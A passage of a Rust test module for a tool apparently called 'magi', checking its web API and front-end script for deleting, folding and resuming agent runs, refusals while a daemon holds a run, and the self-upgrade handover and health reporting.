12000 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
12002 assert_eq!(res.status, 204);
12003 assert!(res.body.is_empty(), "204 has no body");
12004 assert!(!dir.exists(), "run directory and artifacts must be deleted");
12005
12006 let run_running = "20260901-000000-rung";
12011 write_run(&runs, run_running, RunStatus::Prep);
12012 let mut beat = crate::daemon::Status::new();
12013 beat.current = vec![crate::daemon::Current {
12014 task: "20260901-000000-task".to_owned(),
12015 run: run_running.to_owned(),
12016 }];
12017 beat.updated_at = jiff::Timestamp::now();
12018 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12019 .expect("publish a heartbeat");
12020 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
12021 assert_eq!(res.status, 409);
12022 assert!(
12023 res.json()["error"]
12024 .as_str()
12025 .unwrap()
12026 .contains("live daemon"),
12027 "the refusal must say who is holding it"
12028 );
12029 assert!(
12030 runs.join(run_running).exists(),
12031 "a run in flight keeps its directory"
12032 );
12033
12034 let run_unfolded = "20260901-000000-unfd";
12036 let mut state2 = RunState::new(
12037 PathBuf::from("/repo"),
12038 "main".to_owned(),
12039 "abc".to_owned(),
12040 "instruction".to_owned(),
12041 Config::default(),
12042 );
12043 state2.id = run_unfolded.to_owned();
12044 state2.status = RunStatus::Ready;
12045 state2.candidates.push(crate::run::Candidate {
12046 index: 0,
12047 label: 'A',
12048 agent: "a".to_owned(),
12049 branch: "b".to_owned(),
12050 worktree: PathBuf::from("/w"),
12051 summary: String::new(),
12052 stat: String::new(),
12053 files: 1,
12054 commits: 1,
12055 empty: false,
12056 failed: None,
12057 verified_noop: None,
12058 duration_ms: 0,
12059 folded: false,
12060 });
12061 let dir2 = runs.join(run_unfolded);
12062 std::fs::create_dir_all(&dir2).expect("create dir2");
12063 std::fs::write(
12064 dir2.join("run.json"),
12065 serde_json::to_string(&state2).unwrap(),
12066 )
12067 .expect("write run.json");
12068
12069 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
12070 assert_eq!(res.status, 409);
12071 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
12072 assert!(dir2.exists(), "unfolded run directory is kept");
12073
12074 let res = fx.delete("/api/runs/nonexistent").await;
12076 assert_eq!(res.status, 404);
12077 }
12078
12079 #[test]
12088 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
12089 let start = APP_JS
12090 .find("function renderStats() {")
12091 .expect("renderStats");
12092 let end = start
12093 + APP_JS[start..]
12094 .find("function statsTile(")
12095 .expect("the next top-level function");
12096 let body = &APP_JS[start..end];
12097
12098 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
12099 let gate_end = gate_start
12100 + body[gate_start..]
12101 .find("}\n renderStatsQueue")
12102 .expect("the gate's own closing brace, right before the unconditional call");
12103 let gated = &body[gate_start..gate_end];
12104
12105 assert_eq!(
12106 body.matches("renderStatsQueue(").count(),
12107 1,
12108 "renderStats must call renderStatsQueue exactly once: {body}"
12109 );
12110 assert!(
12111 !gated.contains("renderStatsQueue"),
12112 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
12113 run-derived panels on an empty run history - the queue panel has to render \
12114 regardless: {gated}"
12115 );
12116 }
12117
12118 #[test]
12119 fn web_ui_delete_contract_in_front_end() {
12120 assert!(APP_JS.contains("deleteRun:"));
12122 assert!(APP_JS.contains("deleteTask:"));
12123
12124 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
12126 ..APP_JS.find("function renderRuns").unwrap()];
12127 assert!(!run_cards_slice.to_lowercase().contains("delete"));
12128
12129 assert!(APP_JS.contains("renderRunDelete"));
12131 assert!(APP_JS.contains("runDeleteReason"));
12132 assert!(APP_JS.contains("magi fold"));
12133 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
12134
12135 assert!(APP_JS.contains("cancel.focus"));
12137 assert!(APP_JS.contains("armedRunDelete"));
12138 assert!(APP_JS.contains("renderTaskDeleteBox"));
12139 assert!(APP_JS.contains("armed${cap(key)}"));
12140
12141 assert!(APP_JS.contains("disabled: status === \"running\""));
12143 }
12144
12145 #[test]
12165 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
12166 let build = APP_JS
12167 .find("function createRunCard")
12168 .expect("createRunCard exists");
12169 let update = APP_JS
12170 .find("function updateRunCard")
12171 .expect("updateRunCard exists");
12172 let end = APP_JS
12173 .find("function renderRuns")
12174 .expect("renderRuns exists");
12175
12176 let builder = &APP_JS[build..update];
12178 let open = builder.find("refs = {").expect("createRunCard sets refs");
12179 let literal = &builder[open + "refs = {".len()..];
12180 let close = literal.find('}').expect("the refs literal is closed");
12181 let published: HashSet<&str> = literal[..close]
12182 .split(',')
12183 .filter_map(|entry| entry.split(':').next())
12185 .map(str::trim)
12186 .filter(|name| !name.is_empty())
12187 .collect();
12188 assert!(
12189 published.len() > 5,
12190 "the refs literal did not parse into names: {published:?}"
12191 );
12192
12193 let mut used: Vec<&str> = Vec::new();
12196 let updaters = &APP_JS[update..end];
12197 for (at, _) in updaters.match_indices("r.") {
12198 let before = updaters[..at].chars().next_back();
12201 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
12202 continue;
12203 }
12204 let rest = &updaters[at + 2..];
12205 let len = rest
12206 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
12207 .unwrap_or(rest.len());
12208 if len > 0 {
12209 used.push(&rest[..len]);
12210 }
12211 }
12212 assert!(
12213 used.len() > 5,
12214 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
12215 );
12216
12217 let missing: Vec<&str> = used
12218 .iter()
12219 .copied()
12220 .filter(|name| !published.contains(name))
12221 .collect();
12222 assert!(
12223 missing.is_empty(),
12224 "a run card's updater reaches for {missing:?}, which `createRunCard` \
12225 never put in `refs` - every card will throw and the list will \
12226 render empty under a count line that says otherwise. Published: \
12227 {published:?}"
12228 );
12229 }
12230
12231 #[tokio::test]
12232 async fn folding_from_the_phone_reports_what_it_removed() {
12233 let fx = Fixture::start().await;
12234 let runs = fx.runs();
12235
12236 let id = "20260901-000000-fold";
12240 write_run(&runs, id, RunStatus::Stalled);
12241 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12242 assert_eq!(res.status, 200);
12243 assert_eq!(res.json()["removed_count"], 0);
12244 assert_eq!(res.json()["run"], id);
12245 assert!(
12246 runs.join(id).exists(),
12247 "a fold keeps the run's record; only the worktrees go"
12248 );
12249 }
12250
12251 #[tokio::test]
12252 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
12253 let fx = Fixture::start().await;
12254 let runs = fx.runs();
12255 let wt = fx.home.path().join("wt").join("magi").join("dead");
12256 let id = "20260901-000000-dead";
12257 std::fs::create_dir_all(runs.join(id)).expect("run dir");
12258 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
12259 std::fs::create_dir_all(&wt).expect("worktree dir");
12260
12261 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12262 assert_eq!(res.status, 200, "{}", res.body);
12263 assert!(
12264 res.json()["removed_count"].as_u64().unwrap() > 0,
12265 "the worktree this build could not read a state for still went"
12266 );
12267 assert!(
12268 !runs.join(id).exists(),
12269 "an unreadable run has no candidate list to fold selectively, so \
12270 the whole record goes - same as `magi fold` on the CLI"
12271 );
12272 }
12273
12274 #[tokio::test]
12275 async fn deleting_an_unreadable_run_removes_it_wholesale() {
12276 let fx = Fixture::start().await;
12277 let runs = fx.runs();
12278 let wt = fx.home.path().join("wt").join("magi").join("gone");
12279 let id = "20260901-000000-gone";
12280 std::fs::create_dir_all(runs.join(id)).expect("run dir");
12281 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
12282 std::fs::create_dir_all(&wt).expect("worktree dir");
12283
12284 let res = fx.delete(&format!("/api/runs/{id}")).await;
12285 assert_eq!(res.status, 204, "{}", res.body);
12286 assert!(!runs.join(id).exists(), "the broken record is gone");
12287 assert!(!wt.exists(), "its worktree is gone too");
12288 }
12289
12290 #[tokio::test]
12291 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
12292 let fx = Fixture::start().await;
12293 let runs = fx.runs();
12294 let id = "20260901-000000-live";
12295 write_run(&runs, id, RunStatus::Implementing);
12296
12297 let mut beat = crate::daemon::Status::new();
12298 beat.current = vec![crate::daemon::Current {
12299 task: "20260901-000000-task".to_owned(),
12300 run: id.to_owned(),
12301 }];
12302 beat.updated_at = jiff::Timestamp::now();
12303 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12304 .expect("publish a heartbeat");
12305
12306 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12307 assert_eq!(res.status, 409);
12308 assert!(
12309 res.json()["error"]
12310 .as_str()
12311 .unwrap()
12312 .contains("live daemon"),
12313 "folding under a running agent would pull its worktree away"
12314 );
12315 }
12316
12317 #[tokio::test]
12318 async fn fold_merged_requires_a_pr_url() {
12319 let fx = Fixture::start().await;
12320 let runs = fx.runs();
12321 let id = "20260901-000000-nourl";
12322 write_run(&runs, id, RunStatus::Blocked);
12323
12324 let res = fx
12325 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
12326 .await;
12327 assert_eq!(res.status, 400, "{}", res.body);
12328
12329 let blank = fx
12330 .post(
12331 &format!("/api/runs/{id}/fold-merged"),
12332 Some(r#"{"pr_url":" "}"#),
12333 )
12334 .await;
12335 assert_eq!(blank.status, 400, "{}", blank.body);
12336 }
12337
12338 #[tokio::test]
12339 async fn fold_merged_is_404_for_an_unknown_run() {
12340 let fx = Fixture::start().await;
12341 let res = fx
12342 .post(
12343 "/api/runs/nosuchrun/fold-merged",
12344 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12345 )
12346 .await;
12347 assert_eq!(res.status, 404, "{}", res.body);
12348 }
12349
12350 #[tokio::test]
12351 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
12352 let fx = Fixture::start().await;
12353 let runs = fx.runs();
12354 let id = "20260901-000000-livemerge";
12355 write_run(&runs, id, RunStatus::Blocked);
12356
12357 let mut beat = crate::daemon::Status::new();
12358 beat.current = vec![crate::daemon::Current {
12359 task: "20260901-000000-task".to_owned(),
12360 run: id.to_owned(),
12361 }];
12362 beat.updated_at = jiff::Timestamp::now();
12363 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12364 .expect("publish a heartbeat");
12365
12366 let res = fx
12367 .post(
12368 &format!("/api/runs/{id}/fold-merged"),
12369 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12370 )
12371 .await;
12372 assert_eq!(res.status, 409, "{}", res.body);
12373 assert!(
12374 res.json()["error"]
12375 .as_str()
12376 .unwrap()
12377 .contains("live daemon"),
12378 "correcting a run's merge underneath a running agent would race \
12379 whatever it is doing to the same `status`/`merge` fields"
12380 );
12381 }
12382
12383 #[tokio::test]
12388 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
12389 let fx = Fixture::start().await;
12390 let runs = fx.runs();
12391 let id = "20260901-000000-unconfirmed";
12392 write_run(&runs, id, RunStatus::Blocked);
12393
12394 let res = fx
12395 .post(
12396 &format!("/api/runs/{id}/fold-merged"),
12397 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12398 )
12399 .await;
12400 assert_eq!(res.status, 400, "{}", res.body);
12401 assert_eq!(
12402 read_run(&runs, id).unwrap().status,
12403 RunStatus::Blocked,
12404 "a pull request that could not be confirmed merged must leave \
12405 the run exactly where it was"
12406 );
12407 }
12408
12409 #[tokio::test]
12410 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
12411 let fx = Fixture::start().await;
12412 let runs = fx.runs();
12413
12414 for (status, word) in [
12420 (RunStatus::Merged, "merged"),
12421 (RunStatus::Ready, "ready"),
12422 (RunStatus::Failed, "failed"),
12423 ] {
12424 let id = format!("20260901-000000-{}", &word[..4]);
12425 write_run(&runs, &id, status);
12426 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
12427 assert_eq!(res.status, 409, "{word} must not be resumable");
12428 let err = res.json()["error"].as_str().unwrap().to_owned();
12429 assert!(err.contains(word), "the refusal names the status: {err}");
12430 }
12431
12432 let mid = "20260901-000000-midf";
12437 write_run(&runs, mid, RunStatus::Reviewing);
12438 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
12439 assert_eq!(res.status, 202, "an interrupted run is resumable");
12440 }
12441
12442 #[tokio::test]
12443 async fn resume_is_refused_while_the_loop_is_running() {
12444 let fx = Fixture::start().await;
12445 let runs = fx.runs();
12446 let stalled = "20260901-000000-stal";
12447 write_run(&runs, stalled, RunStatus::Stalled);
12448
12449 let mut beat = crate::daemon::Status::new();
12453 beat.current = vec![crate::daemon::Current {
12454 task: "20260901-000000-task".to_owned(),
12455 run: "20260901-000000-othr".to_owned(),
12456 }];
12457 beat.updated_at = jiff::Timestamp::now();
12458 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12459 .expect("publish a heartbeat");
12460
12461 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
12462 assert_eq!(res.status, 409);
12463 let err = res.json()["error"].as_str().unwrap().to_owned();
12464 assert!(err.contains("othr"), "it names what the loop is on: {err}");
12465 assert!(err.contains("stop it first"), "{err}");
12466 }
12467
12468 #[test]
12469 fn a_run_cannot_be_resumed_twice_at_once() {
12470 let home = TempDir::new().expect("temp home");
12471 let ui = Ui::new(
12472 Queue::at(home.path().join("queue")),
12473 Questions::at(home.path().join("questions")),
12474 Talks::at(home.path().join("talks")),
12475 home.path().join("runs"),
12476 home.path().to_path_buf(),
12477 PathBuf::from("/repo"),
12478 )
12479 .with_worktrees_root(home.path().join("wt"));
12480 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
12481 let again = ui.begin_resume("20260901-000000-once");
12482 assert!(again.is_err(), "a second tap must not start a second graph");
12483 drop(first);
12484 assert!(
12485 ui.begin_resume("20260901-000000-once").is_ok(),
12486 "and the claim is released when the attempt ends"
12487 );
12488 }
12489
12490 #[test]
12491 fn talk_thinking_tracks_only_its_held_turn_claim() {
12492 let home = TempDir::new().expect("temp home");
12493 let ui = Ui::new(
12494 Queue::at(home.path().join("queue")),
12495 Questions::at(home.path().join("questions")),
12496 Talks::at(home.path().join("talks")),
12497 home.path().join("runs"),
12498 home.path().to_path_buf(),
12499 PathBuf::from("/repo"),
12500 )
12501 .with_worktrees_root(home.path().join("wt"));
12502 let id = "20260901-000000-once";
12503
12504 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
12505 let turn = ui.begin_talk_turn(id).expect("claim turn");
12506 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
12507 assert!(
12508 !ui.is_thinking("20260901-000000-other"),
12509 "one talk's turn does not make another talk busy"
12510 );
12511 drop(turn);
12512 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
12513 }
12514
12515 #[tokio::test]
12516 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
12517 let fx = Fixture::start().await;
12518 let mut beat = crate::daemon::Status::new();
12522 beat.pid = 4321;
12523 beat.updated_at = jiff::Timestamp::now();
12524 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12525 .expect("publish a heartbeat");
12526
12527 let res = fx.post("/api/upgrade", None).await;
12528 assert_eq!(res.status, 409);
12529 let err = res.json()["error"].as_str().unwrap().to_owned();
12530 assert!(err.contains("4321"), "the refusal names the owner: {err}");
12531 assert!(err.contains("old one against the same queue"), "{err}");
12532 }
12533
12534 #[test]
12541 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
12542 assert!(!should_spawn_recheck(&crate::config::Update {
12543 mode: UpdateMode::Off,
12544 interval: None,
12545 }));
12546
12547 unsafe {
12550 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
12551 }
12552 let killed = should_spawn_recheck(&crate::config::Update {
12553 mode: UpdateMode::Notify,
12554 interval: None,
12555 });
12556 unsafe {
12557 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
12558 }
12559 assert!(
12560 !killed,
12561 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
12562 one-time startup check"
12563 );
12564
12565 assert!(should_spawn_recheck(&crate::config::Update {
12566 mode: UpdateMode::Notify,
12567 interval: None,
12568 }));
12569 }
12570
12571 #[test]
12577 fn recheck_poll_period_tracks_a_short_configured_interval() {
12578 let short = crate::config::Update {
12579 mode: UpdateMode::Notify,
12580 interval: Some("1m".to_owned()),
12581 };
12582 let period = recheck_poll_period(&short);
12583 assert!(
12584 period <= Duration::from_secs(30),
12585 "a one-minute interval must wake the task far sooner than the \
12586 default ceiling, or the deck would not notice within the \
12587 interval the operator configured: got {period:?}"
12588 );
12589
12590 let default = crate::config::Update {
12591 mode: UpdateMode::Notify,
12592 interval: None,
12593 };
12594 assert_eq!(
12595 recheck_poll_period(&default),
12596 UPDATE_RECHECK_POLL_MAX,
12597 "the default day-long interval should poll at the (capped) \
12598 ceiling rather than needlessly often"
12599 );
12600 }
12601
12602 #[test]
12610 fn recheck_skips_the_network_before_the_interval_elapses() {
12611 let dir = TempDir::new().expect("temp dir");
12612 let path = dir.path().join("state.json");
12613 let state = kaishin::UpdateCheckState {
12614 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
12615 last_known_latest: None,
12616 last_known_url: None,
12617 };
12618 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
12619
12620 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
12621 assert!(
12622 !update_recheck_due(&checker, None),
12623 "a check made moments ago must not be repeated before the \
12624 configured interval elapses"
12625 );
12626 }
12627
12628 #[test]
12634 fn recheck_defers_to_an_upgrade_already_in_flight() {
12635 let dir = TempDir::new().expect("temp dir");
12636 let path = dir.path().join("state.json");
12637 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
12638 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
12639
12640 assert!(
12641 !update_recheck_due(&checker, Some(&progress)),
12642 "a recheck must not run while an upgrade this deck started is \
12643 still moving"
12644 );
12645 }
12646
12647 #[tokio::test]
12648 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
12649 unsafe {
12661 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
12662 }
12663 let fx = Fixture::start().await;
12664 let res = fx.post("/api/upgrade", None).await;
12665 unsafe {
12666 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
12667 }
12668 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
12669 let body = res.json();
12670 assert!(body["to"].is_null(), "there was no release to move to");
12671 assert!(body["parked"].is_null(), "and nothing was parked");
12672 assert!(
12673 body["detail"]
12674 .as_str()
12675 .unwrap()
12676 .contains("disabled by MAGI_NO_AUTOUPDATE"),
12677 "{body:?}"
12678 );
12679 }
12680
12681 #[tokio::test]
12682 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
12683 let repo = TempDir::new().expect("repo dir");
12699 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
12700 .expect("write magi.toml");
12701 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12702
12703 let res = fx.post("/api/upgrade", None).await;
12709 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
12710 let body = res.json();
12711 assert!(body["to"].is_null(), "there was no release to move to");
12712 assert!(body["parked"].is_null(), "and nothing was parked");
12713 assert!(
12714 body["detail"]
12715 .as_str()
12716 .unwrap()
12717 .contains("nothing restarted"),
12718 "{body:?}"
12719 );
12720 }
12721
12722 #[tokio::test]
12723 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
12724 let repo = TempDir::new().expect("repo dir");
12729 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
12730 .expect("write magi.toml");
12731 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12732
12733 let health = fx.get("/api/health").await.json();
12734 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
12735 assert_eq!(
12736 health["update"]["available"], false,
12737 "checking is off, which reads as \"unknown\", not \"none\""
12738 );
12739 assert!(health["update"]["to"].is_null());
12740 assert!(
12741 health["upgrade"].is_null(),
12742 "nothing has ever asked this deck to upgrade"
12743 );
12744 }
12745
12746 #[tokio::test]
12747 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
12748 let fx = Fixture::start().await;
12749 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
12750
12751 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
12752 progress.parked_run = Some("20260905-000000-cd51".to_owned());
12753 progress.advance(crate::updater::Stage::Parking);
12754 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
12755
12756 let health = fx.get("/api/health").await.json();
12757 assert_eq!(health["upgrade"]["stage"], "parking");
12758 assert_eq!(health["upgrade"]["from"], "0.5.1");
12759 assert_eq!(health["upgrade"]["to"], "0.5.2");
12760 let waiting_on = health["upgrade"]["waiting_on"]
12761 .as_str()
12762 .expect("waiting_on is set while parking a known run");
12763 assert!(waiting_on.contains("cd51"), "{waiting_on}");
12764 assert!(waiting_on.contains("implementing"), "{waiting_on}");
12765 }
12766
12767 #[tokio::test]
12768 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
12769 let fx = Fixture::start().await;
12770 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
12771 progress.advance(crate::updater::Stage::Done);
12772 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
12773
12774 let health = fx.get("/api/health").await.json();
12775 assert_eq!(health["upgrade"]["stage"], "done");
12776 assert!(
12777 health["upgrade"]["waiting_on"].is_null(),
12778 "nothing to wait on once it is done"
12779 );
12780 }
12781
12782 #[tokio::test]
12783 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
12784 let home = TempDir::new().expect("temp home");
12785 let runs = home.path().join("runs");
12786 std::fs::create_dir_all(&runs).expect("runs dir");
12787 let ui = Ui::new(
12788 Queue::at(home.path().join("queue")),
12789 Questions::at(home.path().join("questions")),
12790 Talks::at(home.path().join("talks")),
12791 runs,
12792 home.path().to_path_buf(),
12793 PathBuf::from("/repo/magi"),
12794 )
12795 .with_launch(launch_idle);
12796 let looping = ui.looping();
12797 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
12798 .await
12799 .expect("bind loopback");
12800 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
12801
12802 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
12803 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
12804
12805 hand_over(home.path(), &looping, served, |_| Ok(()))
12806 .await
12807 .expect("hand over");
12808
12809 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
12810 assert_eq!(
12811 after.stage,
12812 crate::updater::Stage::Restarting,
12813 "hand_over owns the record through parking and up to restarting; \
12814 the successor is what finishes it"
12815 );
12816 }
12817
12818 fn idle_ui(home: &TempDir) -> Ui {
12819 let runs = home.path().join("runs");
12820 std::fs::create_dir_all(&runs).expect("runs dir");
12821 Ui::new(
12822 Queue::at(home.path().join("queue")),
12823 Questions::at(home.path().join("questions")),
12824 Talks::at(home.path().join("talks")),
12825 runs,
12826 home.path().to_path_buf(),
12827 PathBuf::from("/repo/magi"),
12828 )
12829 .with_launch(launch_idle)
12830 }
12831
12832 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
12834 let looping = ui.looping();
12835 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
12836 .await
12837 .expect("bind loopback");
12838 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
12839 let told = std::sync::Mutex::new(None);
12840 hand_over(home.path(), &looping, served, |resume| {
12841 *told.lock().unwrap() = Some(resume);
12842 Ok(())
12843 })
12844 .await
12845 .expect("hand over");
12846 told.into_inner().unwrap().expect("successor was started")
12847 }
12848
12849 #[tokio::test]
12850 async fn a_running_loop_is_resumed_by_the_successor() {
12851 let home = TempDir::new().expect("temp home");
12852 let ui = idle_ui(&home);
12853 ui.start_loop(None).expect("start");
12854 ui.park_for_upgrade().expect("park");
12855 for _ in 0..500 {
12857 if !ui.loop_view(None).running {
12858 break;
12859 }
12860 tokio::time::sleep(Duration::from_millis(2)).await;
12861 }
12862 assert!(handed_over(&home, ui).await, "a running loop must resume");
12863
12864 let successor = idle_ui(&home);
12865 assert!(!successor.loop_view(None).running);
12866 assert!(successor.resume_after_handover(true));
12867 assert!(successor.loop_view(None).running);
12868 successor.stop_loop(None, false).expect("stop");
12869 }
12870
12871 #[tokio::test]
12872 async fn a_second_upgrade_request_keeps_the_resume_intent() {
12873 let home = TempDir::new().expect("temp home");
12874 let ui = idle_ui(&home);
12875 ui.start_loop(None).expect("start");
12876 ui.park_for_upgrade().expect("first park");
12877 ui.park_for_upgrade().expect("second park");
12878 assert!(handed_over(&home, ui).await);
12879 }
12880
12881 #[tokio::test]
12882 async fn a_stop_during_the_handover_wait_is_honoured() {
12883 let home = TempDir::new().expect("temp home");
12884 let ui = idle_ui(&home);
12885 ui.start_loop(None).expect("start");
12886 ui.park_for_upgrade().expect("park");
12887 ui.stop_loop(None, false).expect("stop");
12888 assert!(!handed_over(&home, ui).await);
12889 }
12890
12891 #[tokio::test]
12892 async fn an_idle_loop_stays_stopped_across_the_handover() {
12893 let home = TempDir::new().expect("temp home");
12894 let ui = idle_ui(&home);
12895 ui.park_for_upgrade().expect("park");
12896 assert!(!handed_over(&home, ui).await);
12897
12898 let successor = idle_ui(&home);
12899 assert!(!successor.resume_after_handover(false));
12900 assert!(!successor.loop_view(None).running);
12901 }
12902
12903 #[tokio::test]
12904 async fn a_loop_the_operator_stopped_is_not_resumed() {
12905 let home = TempDir::new().expect("temp home");
12906 let ui = idle_ui(&home);
12907 ui.start_loop(None).expect("start");
12908 ui.stop_loop(None, false).expect("stop");
12909 ui.park_for_upgrade().expect("park");
12910 assert!(!handed_over(&home, ui).await);
12911 }
12912
12913 #[test]
12914 fn only_an_explicit_one_requests_a_resume() {
12915 assert!(!resume_requested(None));
12916 assert!(!resume_requested(Some("0".into())));
12917 assert!(!resume_requested(Some("".into())));
12918 assert!(resume_requested(Some("1".into())));
12919 }
12920
12921 #[test]
12922 fn the_upgrade_button_arms_before_it_restarts_anything() {
12923 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
12926 assert!(APP_JS.contains("Replace the binary and restart?"));
12927 assert!(APP_JS.contains("function confirmed("));
12928 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
12933 assert!(
12937 APP_JS.contains("Parking, then restarting"),
12938 "the button says what it is waiting for"
12939 );
12940 assert!(APP_JS.contains("if (!out.to)"));
12943 }
12944
12945 #[test]
12946 fn stopping_the_loop_arms_but_starting_does_not() {
12947 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
12950 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
12951 assert!(APP_JS.contains("confirmed(button, question)"));
12952 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
12955 assert!(APP_JS.contains("const label = btn.textContent;"));
12956 assert!(!APP_JS.contains("Neither direction is guarded"));
12957 }
12958
12959 #[test]
12960 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
12961 assert!(
12962 APP_JS.contains("state.health.version"),
12963 "the operator wants to know what is running even with nothing newer"
12964 );
12965 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
12966 }
12967
12968 #[test]
12969 fn the_upgrade_button_names_its_destination() {
12970 assert!(
12971 APP_JS.contains("`Update to ${update.to}`"),
12972 "pressing the button should not be a surprise about what it moves to"
12973 );
12974 }
12975
12976 #[test]
12977 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
12978 for stage in ["downloading", "replaced", "parking", "restarting"] {
12979 assert!(
12980 APP_JS.contains(&format!("\"{stage}\"")),
12981 "the phone must be able to tell {stage} apart from the others"
12982 );
12983 }
12984 assert!(APP_JS.contains(".waiting_on"));
12985 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
12990 assert!(APP_JS.contains("reconnects on its own"));
12991 }
12992
12993 #[test]
12994 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
12995 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
13004 ..APP_JS.find("function upgrade(").expect("upgrade")];
13005 assert!(
13006 !body.contains(
13007 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
13008 ),
13009 "a failed upgrade must not take the whole strip over the way it used to"
13010 );
13011 assert!(
13012 body.contains("upgradeFailNote"),
13013 "the failure has to reach the loop's own note instead"
13014 );
13015 assert_eq!(
13019 body.matches("upgradeFailNote].filter(Boolean).join")
13020 .count(),
13021 2,
13022 "both loop-why writers (quiet and control) must fold the note in"
13023 );
13024 }
13025
13026 #[test]
13027 fn an_overdue_upgrade_eventually_asks_for_a_human() {
13028 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
13031 assert!(APP_JS.contains("function upgradeOverdue("));
13032 }
13033
13034 #[test]
13035 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
13036 assert!(
13037 APP_JS.contains("Updated to ${upgradeInfo.to"),
13038 "the operator who asked for the restart wants to know it worked"
13039 );
13040 }
13041
13042 #[test]
13043 fn an_error_is_visible_from_where_the_button_is() {
13044 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
